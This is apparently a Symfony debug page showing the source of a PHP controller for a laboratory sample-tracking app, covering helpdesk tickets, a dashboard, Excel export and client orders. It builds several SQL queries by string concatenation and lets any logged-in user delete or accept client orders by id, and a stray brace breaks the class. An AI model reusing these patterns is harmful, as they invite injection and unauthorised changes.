src/Controller/DefaultController.php line 290

Open in your IDE?
  1. <?php
  3. namespace App\Controller;
  5. use App\Dto\MinExportCountryRelationPayload;
  6. use App\Entity\AuBatch;
  7. use App\Entity\CatRequest;
  8. use App\Entity\ClientParcel;
  9. use App\Entity\DISQBatch;
  10. use App\Entity\ElSample;
  11. use App\Entity\Exports;
  12. use App\Entity\FABatch;
  13. use App\Entity\FeedEntry;
  14. use App\Entity\FInventory;
  15. use App\Entity\Helpdesk;
  16. use App\Entity\ICPBatch;
  17. use App\Entity\ICPRun;
  18. use App\Entity\Inventory;
  19. use App\Entity\Invoice;
  20. use App\Entity\Log;
  21. use App\Entity\Moists;
  22. use App\Entity\MonthlyBonus;
  23. use App\Entity\Orders;
  24. use App\Entity\Params;
  25. use App\Entity\PRun;
  26. use App\Entity\RRun;
  27. use App\Entity\Stock;
  28. use App\Entity\StockManagement;
  29. use App\Entity\User;
  30. use App\Service\AuBatchManager;
  31. use App\Service\ExportCountryRelationService;
  32. use Doctrine\ORM\EntityManagerInterface;
  33. use Doctrine\ORM\QueryBuilder;
  34. use Doctrine\ORM\Query;
  35. use Doctrine\ORM\Tools\Pagination\Paginator;
  36. use http\Client;
  37. use phpDocumentor\Reflection\Types\Null_;
  38. use Symfony\Component\HttpFoundation\JsonResponse;
  39. use Symfony\Component\HttpFoundation\Request;
  40. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  41. use Symfony\Component\Routing\Annotation\Route;
  42. use Symfony\Component\HttpFoundation\Response;
  43. use Symfony\Component\HttpFoundation\RedirectResponse;
  44. use Symfony\Component\Serializer\Encoder\JsonEncoder;
  45. use Symfony\Component\Serializer\Encoder\XmlEncoder;
  46. use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
  47. use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
  48. use Symfony\Component\Serializer\Serializer;
  49. use Symfony\Component\HttpFoundation\ResponseHeaderBag;
  50. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  51. use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;
  52. use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
  53. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  54. use PhpOffice\PhpSpreadsheet\Spreadsheet;
  55. use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
  56. use PhpOffice\PhpSpreadsheet\Writer\Xls;
  57. use PhpOffice\PhpSpreadsheet\Style\Fill;
  58. use PhpOffice\PhpSpreadsheet\Style\Border;
  59. use PhpOffice\PhpSpreadsheet\Style\Alignment;
  60. use Symfony\Component\HttpFoundation\StreamedResponse;
  63. class DefaultController extends AbstractController
  64. {
  65. /**
  66. * @var EntityManager
  67. */
  68. protected $em;
  70. protected $translator;
  72. protected $passwordEncoder;
  74. public function __construct(EntityManagerInterface $entityManager,UserPasswordEncoderInterface $passwordEncoder)
  75. {
  76. $this->em = $entityManager;
  77. $this->passwordEncoder = $passwordEncoder;
  78. }
  80. private function ensureCurrentMonthExists()
  81. {
  82. $currentDate = new \DateTime();
  83. $currentMonth = (int)$currentDate->format('n');
  84. $currentYear = $currentDate->format('Y');
  86. // Check if current month exists
  87. $existingBonus = $this->getDoctrine()
  88. ->getRepository(MonthlyBonus::class)
  89. ->findOneBy([
  90. 'MonthNo' => $currentMonth,
  91. 'year' => $currentYear
  92. ]);
  94. if (!$existingBonus) {
  95. // Get the most recent bonus record
  96. $lastBonus = $this->getDoctrine()
  97. ->getRepository(MonthlyBonus::class)
  98. ->findOneBy([], ['year' => 'DESC', 'MonthNo' => 'DESC']);
  100. if (!$lastBonus) {
  101. // No records exist, create current month with default target
  102. $newBonus = new MonthlyBonus();
  103. $newBonus->setMonthNo($currentMonth);
  104. $newBonus->setMonthName($currentDate->format('F'));
  105. $newBonus->setYear($currentYear);
  106. $newBonus->setSampleNumber(200);
  107. $newBonus->setActive(true);
  109. $this->em->persist($newBonus);
  110. $this->em->flush();
  111. return;
  112. }
  114. // Get the target from last bonus
  115. $sampleTarget = $lastBonus->getSampleNumber();
  117. // Create all missing months from last existing month to current month
  118. $startDate = new \DateTime($lastBonus->getYear() . '-' . $lastBonus->getMonthNo() . '-01');
  119. $startDate->modify('+1 month'); // Start from next month after last existing
  121. while ($startDate <= $currentDate) {
  122. $monthNo = (int)$startDate->format('n');
  123. $year = $startDate->format('Y');
  125. // Check if this month already exists
  126. $exists = $this->getDoctrine()
  127. ->getRepository(MonthlyBonus::class)
  128. ->findOneBy([
  129. 'MonthNo' => $monthNo,
  130. 'year' => $year
  131. ]);
  133. if (!$exists) {
  134. $newBonus = new MonthlyBonus();
  135. $newBonus->setMonthNo($monthNo);
  136. $newBonus->setMonthName($startDate->format('F'));
  137. $newBonus->setYear($year);
  138. $newBonus->setSampleNumber($sampleTarget);
  139. $newBonus->setActive(false); // Set all to inactive first
  141. $this->em->persist($newBonus);
  142. }
  144. $startDate->modify('+1 month');
  145. }
  147. $this->em->flush();
  149. // Now deactivate ALL months and activate only the current month
  150. $allBonuses = $this->getDoctrine()
  151. ->getRepository(MonthlyBonus::class)
  152. ->findAll();
  154. foreach ($allBonuses as $bonus) {
  155. if ($bonus->getMonthNo() == $currentMonth && $bonus->getYear() == $currentYear) {
  156. $bonus->setActive(true);
  157. } else {
  158. $bonus->setActive(false);
  159. }
  160. }
  162. $this->em->flush();
  163. }
  164. }
  166. /**
  167. * @IsGranted("ROLE_USER")
  168. * @Route("/recent", name="recent")
  169. */
  170. public function recent()
  171. {
  172. return $this->render('cats/recent.html.twig');
  173. }
  174. //=====================================================================================================================================================================================<
  175. /**
  176. * @IsGranted("ROLE_USER")
  177. * @Route("/helpdesk", name="helpdesk")
  178. */
  179. public function helpdesk()
  180. {
  181. $tickets = $this->getDoctrine()->getRepository(Helpdesk::class)->findTicketsSorted();
  183. return $this->render('cats/helpdesk.html.twig', ['tickets' => $tickets]);
  184. }
  186. /**
  187. * @IsGranted("ROLE_USER")
  188. * @Route("/helpdesk/add", name="add_ticket", methods={"POST"})
  189. */
  190. public function addTicket(Request $request, EntityManagerInterface $entityManager) : JsonResponse
  191. {
  192. $data = json_decode($request->getContent(), true);
  193. $ticket = (new Helpdesk())
  194. ->setUser(!empty($data['user']) ? $data['user'] : 'Anonymous')
  195. ->setTitle($data['title'])
  196. ->setIssue($data['issue'])
  197. ->setType($data['type'])
  198. ->setStatus('Open')
  199. ->setPriority('Low')
  200. ->setDateAdded(new \DateTime())
  201. ->setDateModified(new \DateTime());
  203. $entityManager->persist($ticket);
  204. $entityManager->flush();
  206. return new JsonResponse(['message' => 'Ticket created successfully!'], JsonResponse::HTTP_CREATED);
  207. }
  209. /**
  210. * @IsGranted("ROLE_USER")
  211. * @Route("/helpdesk/delete/{id}", name="delete_ticket", methods={"DELETE"})
  212. */
  213. public function deleteTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  214. {
  215. // Check if ticket exists
  216. if (!$ticket) {
  217. return new JsonResponse(['error' => 'Ticket not found'], 404);
  218. }
  220. $entityManager->remove($ticket);
  221. $entityManager->flush();
  223. return new JsonResponse(['message' => 'Ticket deleted successfully'], 200);
  224. }
  226. // Fetch the ticket data by ID
  227. /**
  228. * @IsGranted("ROLE_USER")
  229. * @Route("/helpdesk/edit/{id}", name="helpdesk_edit", methods={"GET"})
  230. */
  231. public function editTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  232. {
  233. if (!$ticket) {
  234. return new JsonResponse(['error' => 'Ticket not found'], JsonResponse::HTTP_NOT_FOUND);
  235. }
  237. // Return ticket data as JSON response
  238. return new JsonResponse([
  239. 'data' => [
  240. 'id' => $ticket->getId(),
  241. 'user' => $ticket->getUser(),
  242. 'title' => $ticket->getTitle(),
  243. 'issue' => $ticket->getIssue(),
  244. 'type' => $ticket->getType(),
  245. 'status' => $ticket->getStatus(),
  246. 'priority' => $ticket->getPriority(),
  247. 'deadline' => $ticket->getDeadline() ? $ticket->getDeadline()->format('Y-m-d') : null
  248. ]
  249. ]);
  250. }
  252. // Update ticket information
  253. /**
  254. * @IsGranted("ROLE_USER")
  255. * @Route("/helpdesk/edit/{id}", name="helpdesk_update", methods={"POST"})
  256. */
  257. public function updateTicket(Helpdesk $ticket, Request $request, EntityManagerInterface $entityManager) : JsonResponse
  258. {
  259. if (!$ticket) {
  260. return new JsonResponse(['error' => 'Ticket not found'], 404);
  261. }
  263. $data = json_decode($request->getContent(), true);
  265. // Update ticket fields
  266. $ticket->setUser($data['user'])
  267. ->setTitle($data['title'])
  268. ->setIssue($data['issue'])
  269. ->setType($data['type'])
  270. ->setStatus($data['status'])
  271. ->setPriority($data['priority'])
  272. ->setDeadline($data['deadline'] ? new \DateTime($data['deadline']) : null)
  273. ->setDateModified(new \DateTime());
  275. if ($data['status'] === 'Closed (Solved)' || $data['status'] === 'Closed (Rejected)'){
  276. $ticket->setDateFinished(new \DateTime());
  277. }
  279. $entityManager->flush();
  281. return new JsonResponse(['message' => 'Ticket updated successfully'], 200);
  282. }
  283. //=====================================================================================================================================================================================<
  284. /**
  285. * @IsGranted("ROLE_USER")
  286. * @Route("/", name="dashboard")
  287. * @param Request $request
  288. * @return Response $response
  289. */
  290. public function index(Request $request)
  291. {
  292. if (in_array("ROLE_LABUSER",$this->getUser()->getRoles())){
  293. // $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  294. $this->ensureCurrentMonthExists();
  295. $month = $request->get("month") ?? null;
  296. $year = $request->get("year") ?? null;
  297. if ($month !=null && $year !=null){
  298. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  299. 'year' => "$year",
  300. "MonthNo" => "$month"
  301. ]);
  302. } else {
  303. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  304. "active" => "1"
  305. ],[
  306. 'id' => 'DESC'
  307. ]);
  308. }
  309. // $qb instanceof QueryBuilder
  310. $qb = $this->em->createQueryBuilder();
  311. $qb->select('count(t.id)');
  312. $qb->from(Inventory::class, 't');
  313. $qb->add('where', "t.dateMilled between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  314. // $qb->where('t.dateFinished > 2020-09-18');
  315. $qb->setMaxResults('1');
  316. $milled = $qb->getQuery()->getSingleScalarResult();
  318. // $qb instanceof QueryBuilder
  319. $qb = $this->em->createQueryBuilder();
  320. $qb->select('count(t.id)');
  321. $qb->from(Inventory::class, 't');
  322. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  323. // $qb->where('t.dateFinished > 2020-09-18');
  324. $qb->setMaxResults('1');
  325. $result = $qb->getQuery()->getSingleScalarResult();
  327. // $qb instanceof QueryBuilder
  328. $qb = $this->em->createQueryBuilder();
  329. $qb->select('count(t.id)');
  330. $qb->from(Moists::class, 't');
  331. $qb->add('where', "t.DateArchived between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  332. // $qb->where('t.dateFinished > 2020-09-18');
  333. $qb->setMaxResults('1');
  334. $moists = $qb->getQuery()->getSingleScalarResult();
  336. $qb1 = $this->em->createQueryBuilder();
  337. $qb1->select('t');
  338. $qb1->from(FABatch::class, 't');
  339. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  340. $anotherresult = $qb1->getQuery()->getResult();
  341. $loginfo= [];
  342. $loginfo2= [];
  343. $batchesdaily = [];
  344. $batchesdaily2 = [];
  345. $anotherresult2 = 0;
  346. $anotherresult4 = 0;
  347. $tasks= [];
  348. foreach ($anotherresult as $x){
  349. array_push($loginfo, $x->getDateFinished()->format('j'));
  350. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  351. $stmt = $this->em->getConnection()->prepare($sql);
  352. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  353. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  354. }
  356. $qb3 = $this->em->createQueryBuilder();
  357. $qb3->select('t');
  358. $qb3->from(ICPBatch::class, 't');
  359. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  360. $anotherresult3 = $qb3->getQuery()->getResult();
  361. foreach ($anotherresult3 as $x){
  363. array_push($loginfo2, $x->getDate()->format('j'));
  364. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  365. $stmt = $this->em->getConnection()->prepare($sql);
  366. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  367. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  368. }
  370. // $fortasks = $this->getDoctrine()->getRepository(PRun::class)->findBy([], ['id'=>'DESC'], 1500);
  371. // $fortasks2 = $this->getDoctrine()->getRepository(RRun::class)->findBy([], ['id'=>'DESC'], 8000);
  373. $tasks['WeighQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Weigh Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Weigh Q']));
  374. $tasks['FAQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'FA Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'FA Q']));
  375. $tasks['CUPQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'CUP Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'CUP Q']));
  376. $tasks['DISQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'DIS Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'DIS Q']));
  377. $tasks['Confirm']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Confirm?'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Confirm?']));
  379. // $tasks['WeighQ']=0;
  380. // $tasks['FAQ']=0;
  381. // $tasks['CUPQ']=0;
  382. // $tasks['DISQ']=0;
  383. // $tasks['Confirm']=0;
  384. // $names = array("WeighQ","FAQ","CUPQ","DISQ","Confirm");
  386. // foreach ($fortasks2 as $x){
  387. // /* @var RRun $x */
  388. // $status = str_replace([' ', '?'], '', $x->getStatus());
  389. //
  390. // if (in_array($status, $names)){
  391. // $tasks[$status] = $tasks[$status] + 1;
  392. // }
  393. // }
  394. //
  395. // foreach ($fortasks as $x){
  396. // /* @var PRun $x */
  397. // $status = str_replace([' ', '?'], '', $x->getStatus());
  398. //
  399. // if (in_array($status, $names)){
  400. // $tasks[$status] = $tasks[$status] + 1;
  401. // }
  402. // }
  404. $loginfo = array_unique($loginfo);
  405. $loginfo2 = array_unique($loginfo2);
  406. //dump($batchesdaily);
  407. //dump($anotherresult);
  408. //dump($anotherresult2);
  409. $batchesdaily3 = [];
  411. $batchesdaily = !$batchesdaily ? $batchesdaily = [1] : $batchesdaily;
  412. $batchesdaily2 = !$batchesdaily2 ? $batchesdaily2 = [1] : $batchesdaily2;
  414. for ($x=1;$x<= ((max(array_keys($batchesdaily)) > max(array_keys($batchesdaily2))) ? max(array_keys($batchesdaily)) :max(array_keys($batchesdaily2)));$x++){
  415. $batchesdaily3[$x]=[ (array_key_exists($x,$batchesdaily) ? $batchesdaily[$x] : 0) , (array_key_exists($x,$batchesdaily2) ? $batchesdaily2[$x] : 0) ];
  416. }
  417. foreach ($batchesdaily3 as $key => $x){
  418. if ($x[0] == 0 and $x[1] == 0){
  419. unset($batchesdaily3[$key]);
  420. }
  421. }
  423. return $this->render('cats/dashboard.html.twig', [
  424. // 'messages' => $messages,
  425. 'bonuses' => $bonuses,
  426. 'data' => $result,
  427. 'data23' => $anotherresult,
  428. 'loginfo' => $loginfo,
  429. 'batchesdaily' => $batchesdaily,
  430. 'test2' => $anotherresult2,
  431. 'icp' => $anotherresult3,
  432. 'icp2' => $batchesdaily2,
  433. 'tasks' => $tasks,
  434. 'shaggin' => $batchesdaily3,
  435. 'milled' => $milled,
  436. 'moists' => $moists
  437. ]);
  438. } else if (in_array("ROLE_CLIENT",$this->getUser()->getRoles())){
  439. $user = $this->getUser();
  440. $country = $user->getCountry();
  441. //$parcels = $user->getClientParcels();
  442. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  443. 'client' => $user
  444. ],[
  445. 'dateadded' => 'DESC'
  446. ]);
  447. return $this->render('cats/clientdashboard.html.twig', [
  448. 'parcels' => $parcels
  449. ]);
  450. } else {
  451. $user = $this->getUser();
  452. $country = $user->getCountry();
  453. //$parcels = $user->getClientParcels();
  454. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  455. 'client' => $user
  456. ],[
  457. 'dateadded' => 'DESC'
  458. ]);
  459. return $this->render('cats/dashboard.html.twig', [
  460. 'parcels' => $parcels
  461. ]);
  462. }
  463. }
  465. /**
  466. * @Security("is_granted('ROLE_SUPER')")
  467. * @Route("/dashboard/export", name="dashboard_export")
  468. */
  469. public function dashboardExport(Request $request): Response
  470. {
  471. $month = (int)($request->get("month") ?? date('n'));
  472. $year = (int)($request->get("year") ?? date('Y'));
  474. // Add date range support
  475. $dateFrom = $request->get("date_from");
  476. $dateTo = $request->get("date_to");
  478. if ($dateFrom && $dateTo) {
  479. $startDate = $dateFrom . " 00:00:00";
  480. $endDate = $dateTo . " 23:59:59";
  481. $fileName = 'CAT_Report_' . str_replace('-', '', $dateFrom) . '_to_' . str_replace('-', '', $dateTo) . '.xlsx';
  482. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('M d, Y', strtotime($dateFrom)) . ' to ' . date('M d, Y', strtotime($dateTo));
  483. } else {
  484. $startDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-01";
  485. $endDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-31 23:59:59";
  486. $fileName = 'CAT_Report_' . $year . '_' . str_pad($month, 2, '0', STR_PAD_LEFT) . '.xlsx';
  487. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('F', mktime(0, 0, 0, $month, 1)) . ' ' . $year;
  488. }
  490. // Main data query
  491. $sql = "
  492. SELECT
  493. i.id AS `ID`,
  494. DATE_FORMAT(i.dateofreceipt, '%Y-%m-%d %H:%i:%s') AS `Date Added`,
  495. DATE_FORMAT(i.date_finished, '%Y-%m-%d %H:%i:%s') AS `Date Finished`,
  496. i.sample_type AS `Type`,
  497. i.sample_sub_type AS `Subtype`,
  498. i.sample_name AS `Sample Reference`,
  499. i.country AS `Country`,
  500. i.exportno AS `Export #`,
  501. o.orderno AS `Assigned Order`,
  502. i.xrfpt AS `XRF PT`,
  503. i.xrfpd AS `XRF PD`,
  504. i.xrfrh AS `XRF RH`,
  505. i.icppt AS `ICP PT`,
  506. i.icppd AS `ICP PD`,
  507. i.icprh AS `ICP RH`,
  508. i.analysis_status AS `Analysis Status`,
  509. COUNT(DISTINCT r.id) AS `Run Count`,
  510. GROUP_CONCAT(DISTINCT r.rrunref ORDER BY r.id SEPARATOR ', ') AS `Run Refs`
  511. FROM
  512. inventory i
  513. LEFT JOIN
  514. rrun r ON r.assigned_sample_id = i.id
  515. LEFT JOIN
  516. orders o ON i.assigned_order_id = o.id
  517. WHERE
  518. i.analysis_status = 'Completed'
  519. AND i.date_finished BETWEEN ? AND ?
  520. GROUP BY i.id
  521. ORDER BY i.date_finished DESC
  522. ";
  524. $results = $this->em->getConnection()->executeQuery($sql, [
  525. $startDate, $endDate
  526. ])->fetchAllAssociative();
  528. // Summary by Sample Type
  529. $summarySQLWithRuns = "
  530. SELECT
  531. i.sample_type,
  532. COUNT(DISTINCT i.id) as total_samples,
  533. COUNT(DISTINCT r.id) as total_runs
  534. FROM
  535. inventory i
  536. LEFT JOIN
  537. rrun r ON r.assigned_sample_id = i.id
  538. WHERE
  539. i.analysis_status = 'Completed'
  540. AND i.date_finished BETWEEN ? AND ?
  541. GROUP BY i.sample_type
  542. ORDER BY i.sample_type
  543. ";
  545. $summaryResults = $this->em->getConnection()->executeQuery($summarySQLWithRuns, [
  546. $startDate, $endDate
  547. ])->fetchAllAssociative();
  549. // Create Spreadsheet
  550. $spreadsheet = new Spreadsheet();
  552. // Sheet 1: Main Data
  553. $sheet1 = $spreadsheet->getActiveSheet();
  554. $sheet1->setTitle('Sample Data');
  556. if (!empty($results)) {
  557. // Headers
  558. $headers = array_keys($results[0]);
  559. $sheet1->fromArray($headers, null, 'A1');
  561. // Style headers
  562. $headerStyle = $sheet1->getStyle('A1:' . $sheet1->getHighestColumn() . '1');
  563. $headerStyle->getFont()->setBold(true);
  564. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  565. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  566. $headerStyle->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER);
  568. // Data
  569. $sheet1->fromArray($results, null, 'A2', true);
  571. // Center all data cells
  572. $lastRow = count($results) + 1;
  573. $lastColumn = $sheet1->getHighestColumn();
  574. $sheet1->getStyle('A2:' . $lastColumn . $lastRow)
  575. ->getAlignment()
  576. ->setHorizontal(Alignment::HORIZONTAL_CENTER);
  578. // Auto-size columns
  579. foreach (range('A', $sheet1->getHighestColumn()) as $col) {
  580. $sheet1->getColumnDimension($col)->setAutoSize(true);
  581. }
  582. }
  584. // Sheet 2: Summary
  585. $sheet2 = $spreadsheet->createSheet();
  586. $sheet2->setTitle('Summary');
  588. $row = 1;
  590. // Build summary table
  591. $sheet2->setCellValue('A' . $row, $reportTitle);
  592. $sheet2->getStyle('A' . $row)->getFont()->setBold(true)->setSize(14);
  593. $row += 2;
  595. // Headers
  596. $sheet2->fromArray(['Sample Type', 'Total Samples', 'Total Runs'], null, 'A' . $row);
  597. $headerStyle = $sheet2->getStyle('A' . $row . ':C' . $row);
  598. $headerStyle->getFont()->setBold(true);
  599. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  600. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  601. $row++;
  603. // Data rows
  604. $totalSamples = 0;
  605. $totalRuns = 0;
  606. foreach ($summaryResults as $result) {
  607. $sheet2->fromArray([
  608. $result['sample_type'],
  609. $result['total_samples'],
  610. $result['total_runs']
  611. ], null, 'A' . $row);
  612. $totalSamples += (int)$result['total_samples'];
  613. $totalRuns += (int)$result['total_runs'];
  614. $row++;
  615. }
  617. $row++;
  619. // Totals
  620. $sheet2->fromArray([
  621. 'TOTALS',
  622. $totalSamples,
  623. $totalRuns
  624. ], null, 'A' . $row);
  625. $sheet2->getStyle('A' . $row . ':C' . $row)->getFont()->setBold(true)->setSize(12);
  626. $sheet2->getStyle('A' . $row . ':C' . $row)->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FFD9D9D9');
  628. // Auto-size columns
  629. foreach (range('A', 'C') as $col) {
  630. $sheet2->getColumnDimension($col)->setAutoSize(true);
  631. }
  633. // Generate Excel file
  634. $writer = new Xlsx($spreadsheet);
  636. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  637. $writer->save($temp_file);
  639. $response = new Response(file_get_contents($temp_file));
  640. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  641. $response->headers->set('Content-Disposition', 'attachment; filename="' . $fileName . '"');
  642. unlink($temp_file);
  644. return $response;
  645. }
  646. //=====================================================================================================================================================================================<
  647. /**
  648. * @IsGranted("ROLE_USER")
  649. * @Route("/eucats", name="eucats")
  650. */
  651. public function eucats()
  652. {
  653. $user = $this->getUser();
  654. $country = $user->getCountry();
  655. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  656. // 'country' => ["UK","FR","DE","IT","SC","IT1","IT2","IT3","NL"],
  657. // 'sampleType' => ["Model","Models"]
  658. // ],[
  659. // 'id' => 'DESC'
  660. // ]);
  662. return $this->render('cats/eucats.html.twig', [
  663. 'samples' => '$samples',
  664. ]);
  665. }
  666. //=====================================================================================================================================================================================<
  667. /**
  668. * @IsGranted("ROLE_USER")
  669. * @Route("/eucatreqs", name="eucatreqs")
  670. */
  671. public function eucatreqs()
  672. {
  673. $user = $this->getUser();
  674. $country = $user->getCountry();
  675. //dump($country);
  676. $reqs=$this->getDoctrine()->getRepository(CatRequest::class)->findBy([
  677. ],[
  678. 'id' => "DESC"
  679. ]);
  680. //dump($reqs);
  681. return $this->render('cats/eucatreqs.html.twig', [
  682. 'reqs' => $reqs
  683. ]);
  684. }
  685. //=====================================================================================================================================================================================<
  686. /**
  687. * @IsGranted("ROLE_USER")
  688. * @Route("/models", name="models")
  689. */
  690. public function models()
  691. {
  692. $usercountry = $this->getUser()->getCountry();
  693. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  694. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  695. // 'country' => $usercountry,
  696. // 'sampleType' => ["Model","Models"]
  697. // ],[
  698. // 'id' => 'DESC'
  699. // ]);
  701. return $this->render('cats/client.html.twig', [
  702. 'searchlists' => $newvar,
  703. ]);
  704. }
  705. //=====================================================================================================================================================================================<
  706. /**
  707. * @IsGranted("ROLE_USER")
  708. * @Route("/client", name="client")
  709. */
  710. public function client()
  711. {
  712. // $usercountry = $this->getUser()->getCountry();
  713. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  714. // 'country' => $usercountry
  715. // ],[
  716. // 'id' => 'DESC'
  717. // ]);
  718. // $samples2=[];
  719. // if (in_array("WC",$usercountry)){
  720. // $samples2 = $this->em
  721. // ->createQuery(
  722. // "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  723. // )
  724. // ->getResult();
  725. // }
  726. // //dump($samples2);
  727. // $samples = array_merge($samples,$samples2);
  728. // return $this->render('cats/client.html.twig', [
  729. // 'samples' => $samples,
  730. // ]);
  731. $usercountry = $this->getUser()->getCountry();
  732. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  733. return $this->render('cats/client.html.twig', [
  734. 'searchlists' => $newvar,
  735. ]);
  736. }
  737. //=====================================================================================================================================================================================<
  738. /**
  739. * @IsGranted("ROLE_USER")
  740. * @Route("/deleteclientorder/{id}", name="deleteclientorder")
  741. * @param int $id
  742. * @param Request $request
  743. * @return Response $response
  744. */
  745. public function deleteclientorder(int $id, Request $request)
  746. {
  747. $order = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  748. 'id' => $id
  749. ]);
  750. //dump($order);
  751. $this->em->remove($order);
  752. $this->em->flush();
  753. return new Response ("ayylmao");
  754. }
  755. //=====================================================================================================================================================================================<
  756. /**
  757. * @IsGranted("ROLE_USER")
  758. * @Route("/acceptclientorder/{id}", name="acceptclientorder")
  759. * @param int $id
  760. * @param Request $request
  761. * @return Response $response
  762. */
  763. public function acceptclientorder(int $id, Request $request)
  764. {
  765. /** @var ClientParcel $clientparcel */
  766. $clientparcel = $this->getDoctrine()->getRepository(ClientParcel::class)->findOneBy([
  767. 'id' => $id
  768. ]);
  769. if ($clientparcel->getAccepted() == false){
  770. $clientparcel->setAccepted(true);
  771. $this->em->persist($clientparcel);
  772. /** @var Orders $neworder */
  773. $neworder = new Orders();
  774. $neworder->setSender($clientparcel->getSender());
  775. $neworder->setCourrier($clientparcel->getCourrier());
  776. $neworder->setWaybill($clientparcel->getWaybill());
  777. $neworder->setDateOfReceipt(new \DateTime());
  778. $neworder->setStatus("Open");
  779. $neworder->setOrderno("TO NAME");
  780. $this->em->persist($neworder);
  781. foreach($clientparcel->getDataarray() as $j){
  782. $newsample = new Inventory();
  783. $newsample->setAssignedOrder($neworder);
  784. $newsample->setXrfpt(array_key_exists('pt', $j) ? (float)str_replace(",",".",$j["pt"]) : 0);
  785. $newsample->setXrfpd(array_key_exists('pd', $j) ? (float)str_replace(",",".",$j["pd"]) : 0);
  786. $newsample->setXrfrh(array_key_exists('rh', $j) ? (float)str_replace(",",".",$j["rh"]) : 0);
  787. $newsample->setSampleType($j["type"]);
  788. $newsample->setSampleName($j["reference"]);
  789. $newsample->setCountry($j["country"]);
  790. $newsample->setExportno($j["export"]);
  791. $newsample->setDateofreceipt(new \DateTime());
  792. $newsample->setMass((float)str_replace(",",".",$j['mass']));
  793. $newsample->setAddedtocatalogue(false);
  794. $newsample->setPriority('Normal');
  795. $newsample->setMillStatus("Original");
  796. $newsample->setXrfStatus("To Add");
  797. $newsample->setAnalysisStatus("None");
  798. $newsample->setReady(false);
  799. $this->em->persist($newsample);
  800. }
  801. }
  803. $this->em->flush();
  804. return new Response ("ayylmao");
  805. }
  806. //=====================================================================================================================================================================================<
  807. /**
  808. * @IsGranted("ROLE_USER")
  809. * @Route("/clientaddorder", name="clientaddorder")
  810. */
  811. public function clientaddorder(Request $request)
  812. {
  813. if ( $request->isMethod("post") ) {
